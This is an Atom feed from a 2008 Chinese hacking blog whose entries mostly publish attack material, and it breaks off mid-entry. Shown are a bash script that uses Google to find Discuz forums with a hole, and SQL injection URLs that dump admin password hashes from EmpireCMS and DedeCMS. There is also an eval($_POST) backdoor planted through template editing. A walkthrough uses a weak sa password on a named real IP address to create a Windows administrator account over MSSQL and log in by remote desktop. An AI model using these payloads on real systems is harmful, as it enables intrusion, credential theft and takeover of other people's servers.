<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[CNsHaRk BLog]]></title>
  <subtitle type="html"><![CDATA[欲速则不达-坚持不懈]]></subtitle>
  <id>http://www.cnshark.net/</id>
  <link rel="alternate" type="text/html" href="http://www.cnshark.net/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.cnshark.net/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2008-11-22T12:50:48+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[完了,我的alexa排名,姚明啊]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-22T12:50:48+08:00</updated>
	  <published>2008-11-22T12:50:48+08:00</published>
		  <summary type="html"><![CDATA[站的排名从之前的几千万到现在的六十五万,跟姚明的成长速度没什么差别了,恐怖啊,<br/>期待排到第一位]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2522.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2522</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Discuz! 6.x/7.x $_DCACHE数组变量覆盖漏洞 Check]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-22T02:34:02+08:00</updated>
	  <published>2008-11-22T02:34:02+08:00</published>
		  <summary type="html"><![CDATA[发布时间:2008-11-15测试方法:<br/>[www.sebug.net]<br/>本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!#!/bin/bash<br/><br/># Discuz! 6.x/7.x SODB-2008-13 Check<br/># By heihei@安全小站群<br/># 文件中google_page_count参数是 google搜索结果的页数，大于0就可以，太大了，google会认为是自动机#而停止处理！ 开启WAP注册的结果URL列表保存在当前目录下urllist&nbsp;&nbsp;<br/># 修正 cnb|rd@SEBUG<br/># 需要自己修改countPage，因为google_page_count多了google就以为是病毒呢<br/>#<br/>countPage=10<br/>flag=0<br/>while [ &#34;$flag&#34; -lt 10 ]; do<br/>wget --no-cookies --user-agent=&#34;Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)&#34; &#34;<a href="http://www.google.cn/search?hl=zh-CN" target="_blank" rel="external">http://www.google.cn/search?hl=zh-CN</a>&amp;newwindow=1&amp;q=inurl:bbs/wap/index.php+Powered+by+Discuz!&amp;start=$countPage&amp;sa=N&#34; -O /tmp/t_url -T 7 -t 4<br/>for url in $(sed &#39;s_&lt;p&gt;&lt;a[^&gt;]*href=&#34;[^&#34;]\+\/index\.php\?_\n&amp;\n_g&#39; /tmp/t_url | grep &#34;&lt;p&gt;&lt;a href=&#34; | awk -F&#34;\&#34;&#34; &#39;{print $2}&#39;)<br/>do<br/>&nbsp;&nbsp;wget --no-cookies --post-data=&#39;action=register&#39; -O /tmp/check -T 7 -t 4 &#34;$url&#34;<br/>&nbsp;&nbsp;if [ &#34;$(grep &#34;username&#34; /tmp/check | wc -l)&#34; != &#34;0&#34; ]; then<br/>&nbsp;&nbsp; echo &#34;OK! $url &#34;<br/>&nbsp;&nbsp; echo &#34;OK : $url&#34; &gt;&gt; urllist<br/>&nbsp;&nbsp;else<br/>&nbsp;&nbsp; echo &#34;NO! $url &#34; <br/>&nbsp;&nbsp;fi<br/>done<br/>countPage=$(($countPage+10))<br/>flag=$(($flag+1))<br/>done<br/>rm -r /tmp/t_url /tmp/check<br/>echo &#34;in urllist&#34;<br/><br/>exit 0 <br/>// Sebug.net [ 2008-11-19 ]]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2521.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2521</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[PHP 5.2.6 (error_log) safe_mode Bypass Vulnerabili]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-22T02:32:42+08:00</updated>
	  <published>2008-11-22T02:32:42+08:00</published>
		  <summary type="html"><![CDATA[发布时间:2008-11-20测试方法:<br/>[www.sebug.net]<br/>本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负![ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]<br/><br/>Author: Maksymilian Arciemowicz (cXIb8O3)<br/>securityreason.com<br/>Date:<br/>- - Written: 10.11.2008<br/>- - Public: 20.11.2008<br/><br/>SecurityReason Research<br/>SecurityAlert Id: 57<br/><br/>CWE: CWE-264<br/>SecurityRisk: Medium<br/><br/>Affected Software: PHP 5.2.6<br/>Advisory URL: <a href="http://securityreason.com/achievement_securityalert/57" target="_blank" rel="external"><a href="http://securityreason.com" target="_blank" rel="external">http://securityreason.com</a>/achievement_securityalert/57</a><br/>Vendor: <a href="http://www.php.net" target="_blank" rel="external">http://www.php.net</a><br/><br/>- --- 0.Description ---<br/>PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl <br/>with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web <br/>developers to write dynamically generated pages quickly.<br/><br/>error_log<br/><br/>They allow you to define your own error handling rules, as well as modify the way the errors can <br/>be logged. This allows you to change and enhance error reporting to suit your needs.<br/><br/>- --- 0. error_log const. bypassed by php_admin_flag ---<br/>The main problem is between using safe_mode in global mode<br/><br/>php.ini­:<br/>safe_mode = On<br/><br/>and declaring via php_admin_flag<br/><br/>&lt;Directory &#34;/www&#34;&gt;<br/>...<br/>&#160;&#160;&#160;&#160;php_admin_flag safe_mode On<br/>&lt;/Directory&gt;<br/><br/>When we cr&#101;ate some php script in /www/ and try call to:<br/><br/>ini_set(&#34;error_log&#34;, &#34;/hack/&#34;);<br/><br/>o&#114; in /www/.htaccess<br/><br/>php_value error_log &#34;/hack/bleh.php&#34;<br/><br/><br/>Result:<br/><br/>Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0<br/><br/>Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4<br/><br/><br/>It was for safe_mode declared in php.ini. But if we use<br/><br/>php_admin_flag safe_mode On <br/><br/>in httpd.conf, we will get only<br/><br/>Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4<br/><br/>syntax in .htaccess<br/><br/>php_value error_log &#34;/hack/blehx.php&#34;<br/><br/>is allowed and bypass safe_mode.<br/><br/>example exploit:<br/>error_log(&#34;&lt;?php phpinfo(); ?&gt;&#34;, 0);<br/><br/>- --- 2. How to fix ---<br/>Fixed in CVS<br/><br/><a href="http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315" target="_blank" rel="external">http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315</a>&amp;view=markup<br/><br/>Note:<br/>Do not use safe_mode as a main safety.<br/><br/> --- 3. Greets ---<br/>sp3x Infospec schain p_e_a pi3<br/><br/>- --- 4. Contact ---<br/>Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]<br/>Email: cxib [at] securityreason [dot] com<br/>GPG: <a href="http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg" target="_blank" rel="external"><a href="http://securityreason.pl" target="_blank" rel="external">http://securityreason.pl</a>/key/Arciemowicz.Maksymilian.gpg</a><br/><a href="http://securityreason.com" target="_blank" rel="external">http://securityreason.com</a><br/><a href="http://securityreason.pl" target="_blank" rel="external">http://securityreason.pl</a>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2520.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2520</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[还普遍存在的帝国cms漏洞]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-22T02:24:10+08:00</updated>
	  <published>2008-11-22T02:24:10+08:00</published>
		  <summary type="html"><![CDATA[发布时间:2008-08-17<br/>影响版本:<br/>帝国ECMS 5.0<br/>漏洞描述:<br/>漏洞文件 /e/member/list/index.php文件:<br/>内容如下：<br/>if($sear)<br/>{<br/>$keyboard=RepPostVar2($_GET[&#39;keyboard&#39;]);<br/>if($keyboard)<br/>{<br/>$add.=$wh&#101;re.$user_username.&#34; like &#39;%$keyboard%&#39;&#34;;<br/>}<br/>$search.=&#34;&amp;sear=1&amp;keyboard=$keyboard&#34;;<br/>}<br/><br/>判断sear参数是否存在,然后直接去keyboard的参数,然后再判断keyboard值是否为空,如果不为<br/>空就直接把keyboard带入查询产生注射漏洞.<br/>&lt;*参考 <br/><a href="http://www.sebug.net/vulndb/3860/" target="_blank" rel="external">http://www.sebug.net/vulndb/3860/</a> <br/><a href="http://www.nukeblog.cn" target="_blank" rel="external">http://www.nukeblog.cn</a><br/>*&gt;<br/>SEBUG安全建议:<br/>暂无<br/>测试方法:<br/>[www.sebug.net]<br/>本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!/e/member/list/index.php?sear=1&amp;totalnum=1&amp;keyboard=%D9&#39;+union+sel&#101;ct+1,1,1,concat(char<br/>(123),userid,char(95),username,char(95),password,char(125))+from+phome_enewsuser/*<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2519.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2519</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-06]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-21T15:15:31+08:00</updated>
	  <published>2008-11-21T15:15:31+08:00</published>
		  <summary type="html"><![CDATA[* SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version<br/>* (c) 2008 Andres Tarasco Acuña ( atarasco _at_ gmail.com )<br/>* URL: <a href="http://tarasco.org/Web/tools.html" target="_blank" rel="external">http://tarasco.org/Web/tools.html</a><br/><br/><a href="http://milw0rm.com/sploits/2008-smbrelay3.zip" target="_blank" rel="external">http://milw0rm.com/sploits/2008-smbrelay3.zip</a><br/><br/># milw0rm.com [2008-11-14]<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2518.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2518</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关于Discuz!6.1的漏洞分析]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-21T14:57:03+08:00</updated>
	  <published>2008-11-21T14:57:03+08:00</published>
		  <summary type="html"><![CDATA[Discuz!_6.1.0出现了可以直接拿WEBSHELL的ODAY... <br/><br/><br/>其实，这在意料之中，因为DZ以前的版本就频繁暴出ODAY <br/><br/><br/>分析DZ所有ODAY，然后进行对比.... <br/><br/><br/>我们会发现，有很多ODAY都是出在过滤方面... <br/><br/><br/>今天在群里跟朋友讨论关于DZ的ODAY，让我忽然对这东西很感兴趣... <br/><br/><br/>下面进行简要分析： <br/><br/><br/><br/>仔细对比了DZ5.5以后的版本，发现从过滤方面拿ODAY最容易，也最合理！ <br/><br/><br/>DZ的预安装版本都会出现如下问题 <br/><br/><br/>1.安全提问 都会默认未设置 <br/><br/><br/>2.默认开启 在线编辑模板 <br/><br/><br/>3.默认开启 运行SQL语句 <br/><br/>系统后台会提示修改（config.inc.php）......大家不难发现...... <br/><br/><br/>突破思路的地方就在（config.inc.php)，关键看你能不能发现！ <br/><br/><br/>现在假设，你进入后台，而白痴的管理员正好开启 在线编辑模板 <br/><br/>有机会了，但不要高兴的太早...... <br/><br/><br/>曾经有一种方法是这么做的，如下： <br/><br/>1.后台编辑customfaq(customfaq.lang.php文件) <br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp; 在“&lt;?”的后面加上，复制内容到剪贴板代码:eval($_POST[c]); <br/>2.后台编辑misc(misc.lang.php文件) <br/><br/><br/>&nbsp;&nbsp; 把“post_reply_quote”对应的内容改为复制内容到剪贴板代码:“;eval($_POST[c]);”在前台回帖处选择引用回复。简单看下代码： <br/><br/>include/newreply.inc.php 107行： <br/><br/>复制内容到剪贴板代码: <br/>eval(&#34;\$language[&#39;post_reply_quote&#39;] = \&#34;$language[post_reply_quote]\&#34;;&#34;); <br/><br/>大家有没有发现，这是一个天然的后门...... <br/><br/><br/>上面的方法以前能用，现在不行了，因为DZ已经打了安全补丁。。。 <br/><br/><br/>但是。。。到目前为止，预安装DZ系统仍然默认开启 在线编辑模板 <br/><br/><br/>有很多白痴管理员都不懂得关闭这个安全隐患...也为很多黑手留下了发挥的空间... <br/><br/><br/>列举的方法只是一种思路，不能照步就办...我们可以学习... <br/><br/><br/>从那种方法中，我们可以看出，作者仍然是利用了过滤漏洞... <br/><br/><br/>我们可以从其他的编辑模板的地方加以利用，至于具体怎么利用... <br/><br/><br/>透露一点，可以从论坛的报告处下手，原理和我所列举的例子基本一样！<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2517.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2517</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[dedecms gbk版0day]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-18T10:18:45+08:00</updated>
	  <published>2008-11-18T10:18:45+08:00</published>
		  <summary type="html"><![CDATA[一个月前看了看了dedecms代码（只看了plus下的文件），发现有些变量人为控制没有过滤，但是在php的魔法引号这道天然屏障面前利用几率不好,但是联想到gbk的宽字符，突破方法就有了.<br/><br/>漏洞文件：plus/infosearch.php<br/><br/>测试版本：5.1 gbk<br/><br/>描述：$q变量没有过滤直接进入查询，导致注入出现。代码如下：<br/><br/>PHP代码<br/><br/>$q = trim($q);if($areaid &gt; 0) {$wh&#101;resql = &#34;areaid=$areaid and &#34;;}$query = &#34;sel&#101;ct ID,typeid,title,memberID,writer,senddate from #@__infos wh&#101;re $wh&#101;resql title like &#39;%$q%&#39; o&#114;der by senddate desc&#34;;$dlist = new DataList();$dlist-&gt;pageSize = 20;$dlist-&gt;SetParameter(&#34;q&#34;,$q);$dlist-&gt;SetParameter(&#34;action&#34;,&#39;search&#39;);$dlist-&gt;SetParameter(&#34;areaid&#34;,$areaid);$dlist-&gt;SetSource($query);“‘”突破了，那就照常注入。<br/><br/>测试站：<br/><a href="http://www.xxx.com/plus/infosearch.php?action=search" target="_blank" rel="external">http://www.xxx.com/plus/infosearch.php?action=search</a>&amp;q=%cf&#39;%20union%20sel&#101;ct%201,2,id,4,pwd,6%20from%20dede_admin/*<br/><br/>至于后台拿shell,找不到后台的一样可以轻松拿到shell.不会的留言。<br/><br/>还有几个文件存在注入问题，象feedback.php,后续发放分析。<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2516.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2516</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MS08067补丁前后比较分析结果]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-18T10:11:57+08:00</updated>
	  <published>2008-11-18T10:11:57+08:00</published>
		  <summary type="html"><![CDATA[MS08-067： Server 服务中的漏洞可能允许远程代码执行<br/><a href="http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx" target="_blank" rel="external">http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx</a><br/>这条更新为重要，可以说与当年的冲击波类似。上午我对补丁前后分析，定位到微软修改过的函数结果如下：<br/><br/>发生缓冲区溢出的函数：<br/>signed int __stdcall sub_5FDDA180(int a1, wchar_t *a2, int a3, int a4, int a5)<br/>{<br/>wchar_t *v5; // ebx@1<br/>size_t v6; // edi@1<br/>int v7; // esi@1<br/>int v8; // edi@3<br/>signed int result; // eax@4<br/>wchar_t *v10; // eax@5<br/>unsigned int v11; // eax@10<br/>size_t v12; // eax@14<br/>__int16 v13; // ax@16<br/>size_t v14; // eax@3<br/>int v15; // [sp+428h] [bp-4h]@1<br/>wchar_t *v16; // [sp+10h] [bp-41Ch]@1<br/>int v17; // [sp+Ch] [bp-420h]@1<br/>wchar_t v18; // [sp+14h] [bp-418h]@2<br/><br/>v5 = a2;<br/>v15 = dword_5FE1E18C;<br/>v7 = a1;<br/>v16 = (wchar_t *)a3;<br/>v6 = 0;<br/>v17 = a5;<br/>if ( a1 &amp;&amp; *(_WORD *)a1 )<br/>{<br/>v12 = wcslen((const wchar_t *)a1);<br/>v6 = v12;<br/>if ( v12 )<br/>{<br/>if ( v12 &gt; 0x208 )<br/>return 123;<br/>wcscpy(&amp;v18, (const wchar_t *)v7);<br/>v13 = LOWORD((&amp;v16)[v6 + 1]);<br/>if ( v13 != 92 )<br/>{<br/>if ( v13 != 47 )<br/>{<br/>wcscat(&amp;v18, &amp;word_5FDECBD4);<br/>++v6;<br/>}<br/>}<br/>if ( *v5 == 92 || *v5 == 47 )<br/>++v5;<br/>}<br/>}<br/>else<br/>{<br/>v18 = 0;<br/>}<br/>v14 = wcslen(v5);<br/>v8 = v14 + v6;<br/>if ( v8 &lt; v14 )<br/>return 123;<br/>if ( (unsigned int)v8 &gt; 0x207 )<br/>return 123;<br/>wcscat(&amp;v18, v5);<br/>v10 = &amp;v18;<br/>if ( v18 )<br/>{<br/>do<br/>{<br/>if ( *v10 == 47 )<br/>*v10 = 92;<br/>++v10;<br/>}<br/>while ( *v10 );<br/>}<br/>if ( !sub_5FDD9F7A(&amp;v18) &amp;&amp; !sub_5FDDA26B((int)&amp;v18) )//这个函数修改过了<br/>return 123;<br/>v11 = 2 * wcslen(&amp;v18) + 2;<br/>if ( v11 &gt; a4 )<br/>{<br/>if ( v17 )<br/>*(_DWORD *)v17 = v11;<br/>result = 2123;<br/>}<br/>else<br/>{<br/>wcscpy(v16, &amp;v18);//缓冲区溢出点<br/>result = 0;<br/>}<br/>return result;<br/>}<br/><br/>被修改的函数：<br/>//----- (5FDDA26B) --------------------------------------------------------<br/>signed int __stdcall sub_5FDDA26B(int a1)<br/>{<br/>wchar_t v1; // ax@1<br/>int v2; // ecx@1<br/>int v3; // ebx@1<br/>int v4; // edi@1<br/>int v5; // esi@3<br/>int v6; // eax@10<br/>__int16 v7; // dx@10<br/>__int16 v8; // bx@11<br/>__int16 v10; // dx@17<br/>int v11; // ecx@18<br/>__int16 v12; // ax@19<br/>int v13; // eax@34<br/>wchar_t *v14; // ecx@41<br/>char v15; // zf@1<br/>int v16; // [sp+Ch] [bp-4h]@1<br/><br/>v2 = a1;<br/>v1 = *(_WORD *)a1;<br/>v3 = 0;<br/>v4 = 0;<br/>v15 = *(_WORD *)a1 == 92;<br/>v16 = 0;<br/>if ( v15 || v1 == 47 )<br/>{<br/>v10 = *(_WORD *)(a1 + 2);<br/>if ( v10 == 92 || v10 == 47 )<br/>{<br/>v11 = a1 + 4;<br/>while ( 1 )<br/>{<br/>v12 = *(_WORD *)v11;<br/>if ( *(_WORD *)v11 == 92 )<br/>break;<br/>if ( v12 == 47 )<br/>break;<br/>if ( !v12 )<br/>return 0;<br/>v11 += 2;<br/>}<br/>if ( !*(_WORD *)v11 || (v2 = v11 + 2, v1 = *(_WORD *)v2, a1 = v2, v1 == 92) || v1 == 47 )<br/>return 0;<br/>}<br/>}<br/>v5 = v2;<br/>if ( !v1 )<br/>return 1;<br/>while ( 1 )<br/>{<br/>if ( v1 == 92 )<br/>{<br/>if ( v3 == v5 - 2 )<br/>return 0;<br/>v4 = v3;<br/>v16 = v5;<br/>goto LABEL_6;<br/>}<br/>if ( v1 != 46 || v3 != v5 - 2 &amp;&amp; v5 != v2 )<br/>goto LABEL_6;<br/>v6 = v5 + 2;<br/>v7 = *(_WORD *)(v5 + 2);<br/>if ( v7 == 46 )<br/>{<br/>v8 = *(_WORD *)(v5 + 4);<br/>if ( v8 == 92 || !v8 )<br/>{<br/>if ( !v4 )<br/>return 0;<br/>wcscpy((wchar_t *)v4, (const wchar_t *)(v5 + 4)); //可能会发生缓冲区溢出<br/>if ( !v8 )<br/>return 1;<br/>v16 = v4;<br/>v5 = v4;<br/>v13 = v4 - 2;<br/>while ( *(_WORD *)v13 != 92 &amp;&amp; v13 != a1 )<br/>v13 -= 2;<br/>v2 = a1;<br/>v4 = v13 &amp; -(*(_WORD *)v13 == 92);<br/>}<br/>goto LABEL_6;<br/>}<br/>if ( v7 != 92 )<br/>break;<br/>if ( v3 )<br/>{<br/>v14 = (wchar_t *)v3;<br/>}<br/>else<br/>{<br/>v6 = v5 + 4;<br/>v14 = (wchar_t *)v5;<br/>}<br/>wcscpy(v14, (const wchar_t *)v6);//可能会发生缓冲区溢出<br/>v2 = a1;<br/>LABEL_7:<br/>v1 = *(_WORD *)v5;<br/>if ( !*(_WORD *)v5 )<br/>return 1;<br/>v3 = v16;<br/>}<br/>if ( v7 )<br/>{<br/>LABEL_6:<br/>v5 += 2;<br/>goto LABEL_7;<br/>}<br/>if ( v3 )<br/>v5 = v3;<br/>*(_WORD *)v5 = 0;<br/>return 1;<br/>}<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2515.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2515</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[当sa存储扩展被删除后]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-18T10:10:55+08:00</updated>
	  <published>2008-11-18T10:10:55+08:00</published>
		  <summary type="html"><![CDATA[当sa存储扩展被删除后....sa弱口令相关命令<br/>可不知道大家有无这样的经历？当用sql综合利用工具连接成功后，有的能直接执行命令，创建帐户，<br/><br/>有的执行命令时却遇上下面种种情况而使你辛苦扫得的sa 弱口令失效，功亏一篑~<br/><br/>例如执行命令后回显1：未能找到存储过程&#34;master..xpcmdshell&#34;.<br/><br/>回显2：无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）<br/><br/>回显3：拒绝了对对象 &#34;xp_cmdshell&#34;（数据库 &#34;master&#34;，所有者 &#34;dbo&#34;）的 EXECUTE 权限。<br/><br/>等等可能还有些吧。这几个比较常见。<br/>碰上这种情况，小菜们就变得无所适从了，棰胸跺足，甚至侮辱斯文，臭骂管理员。。。<br/><br/>呵呵，俺认为，回显1，2一般要么是管理员lj，要么是中级菜友的杰作，一般都是可以恢复的shell。回显3可就是经典作品了，把sa的权限降低了，与systemadmin脱离了联系。。。对于这种情况，俺还没有更好的解决办法。（哪位大哥知道麻烦告诉我一声^_^）<br/><br/>下面我就具体演示一下我是怎么对付这样的情况的。<br/>用到的工具：sql查询分离器休闲庄专用版。<br/><br/>怕大家找不到，我把下载地址给大家<br/><br/>SQL查询分析器休闲庄分离版本<br/><br/><a href="http://soft.7747.net/ware/774710/sqlquery.zip" target="_blank" rel="external">http://soft.7747.net/ware/774710/sqlquery.zip</a><br/><br/>假如我们扫到了：<br/><br/>[219.84.135.161]: 发现SQL-Server弱口令 &#34;sa/[口令与用户名相同]&#34;<br/>[219.84.135.161]: &#34;SQL-Server弱口令&#34;扫描完成, 发现 1.<br/><br/>还开了3389！<br/>先打开sql综合利用工具<br/>连接试试<br/><br/>看，连接成功。<br/><br/>执行命令时，回显<br/><br/>無法載入 DLL C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplo.dll，或是參考到某個 DLL 。原因: 126(找不到指定的模組。)。<br/><br/>这个时候，我们就没办法再继续下去了。<br/><br/>下面打开sql查询分离器<br/>登陆进去<br/>出来一个白白的这个。。。<br/>呵呵<br/>哦。<br/>这个ip是开了3389的。<br/>我们先登陆3389看是否成功。<br/>忘记讲了<br/>看。windows2000的server版<br/><br/>好了。我们再在sql查询分离器中输入命令<br/>declare @shell int exec sp_oacr&#101;ate &#34;wscript.shell&#34;,@shell output exec sp_oamethod @shell,&#34;run&#34;,null,&#34;c:\winnt\system32\cmd.exe /c net user test 123 /add&#34;<br/>这个命令就是创建一个用户名为test，密码为123的用户，<br/>输入后按F5<br/>我们看到回显有个这个表格样的东东，0。这样的。<br/>这就表示成功了。如果回显“命令成功完成”，反而是没有成功~<br/>呵呵不要上当哦。<br/>下面提升test的权限<br/>输入命令<br/>declare @shell int exec sp_oacr&#101;ate &#34;wscript.shell&#34;,@shell output exec sp_oamethod @shell,&#34;run&#34;,null,&#34;c:\winnt\system32\cmd.exe /c net localgroup administrators test /add&#34;<br/><br/>把test提升为管理员<br/><br/>按F5执行命令，回显和刚才一样。。。<br/><br/>下面我们登陆3389<br/>用帐户test<br/>密码123<br/><br/>看能不能登陆，看。。。。<br/>进去了吧。。。<br/>呵呵。。。<br/><br/>**********************************************************************************<br/><br/>sa弱口令相关命令<br/>总结的一些关于sa弱口令相关命令.<br/>注:具体问题具体分析,以上方法仅供参考,不一定有效,相关原理知识请自行查找。重要提示！以上提供的方法仅供学习研究！请大家不要进行任何破坏国内主机的违法行为！否则一切后果自负！转载请保留此信息。<br/><br/>一.更改sa口令方法：<br/>用sql综合利用工具连接后，执行命令：<br/>exec sp_password NULL,&#34;新密码&#34;,&#34;sa&#34;<br/>(提示：慎用!)<br/><br/>二.简单修补sa弱口令.<br/><br/>方法1:查询分离器连接后执行：<br/>if exists (sel&#101;ct * from<br/>dbo.sysobjects wh&#101;re id = object_id(N&#34;[dbo].[xp_cmdshell]&#34;) and<br/>OBJECTPROPERTY(id, N&#34;IsExtendedProc&#34;) = 1)<br/><br/>exec sp_dro&#112;extendedproc N&#34;[dbo].[xp_cmdshell]&#34;<br/><br/>GO<br/><br/>然后按F5键命令执行完毕<br/><br/>方法2:查询分离器连接后<br/>第一步执行：use master<br/>第二步执行：sp_dro&#112;extendedproc &#34;xp_cmdshell&#34;<br/>然后按F5键命令执行完毕<br/><br/><br/>三.常见情况恢复执行xp_cmdshell.<br/><br/>1　未能找到存储过程&#34;master..xpcmdshell&#34;.<br/>　 恢复方法：查询分离器连接后,<br/>第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =&#34;xplog70.dll&#34;declare @o int<br/>第二步执行:sp_addextendedproc &#34;xp_cmdshell&#34;, &#34;xpsql70.dll&#34;<br/>然后按F5键命令执行完毕<br/><br/>2　无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）<br/>　恢复方法：查询分离器连接后,<br/>第一步执行：sp_dro&#112;extendedproc &#34;xp_cmdshell&#34;<br/>第二步执行：sp_addextendedproc &#34;xp_cmdshell&#34;, &#34;xpsql70.dll&#34;<br/>然后按F5键命令执行完毕<br/><br/>3　无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)<br/>恢复方法：查询分离器连接后,<br/>第一步执行:exec sp_dro&#112;extendedproc &#34;xp_cmdshell&#34;<br/>第二步执行:exec sp_addextendedproc &#34;xp_cmdshell&#34;,&#34;xpweb70.dll&#34;　　　　　　<br/>然后按F5键命令执行完毕<br/><br/>四.终极方法.<br/>如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:<br/>查询分离器连接后,<br/>2000servser系统:<br/>declare @shell int exec sp_oacr&#101;ate &#34;wscript.shell&#34;,@shell output exec sp_oamethod @shell,&#34;run&#34;,null,&#34;c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add&#34;<br/><br/>declare @shell int exec sp_oacr&#101;ate &#34;wscript.shell&#34;,@shell output exec sp_oamethod @shell,&#34;run&#34;,null,&#34;c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add&#34;<br/><br/>xp或2003server系统:<br/><br/>declare @shell int exec sp_oacr&#101;ate &#34;wscript.shell&#34;,@shell output exec sp_oamethod @shell,&#34;run&#34;,null,&#34;c:\windows\system32\cmd.exe /c net user 新用户 密码 /add&#34;<br/><br/>declare @shell int exec sp_oacr&#101;ate &#34;wscript.shell&#34;,@shell output exec sp_oamethod @shell,&#34;run&#34;,null,&#34;c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add&#34;<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2514.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2514</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[艰难的在webshell中执行程序]]></title>
	  <author>
		 <name>admin</name>
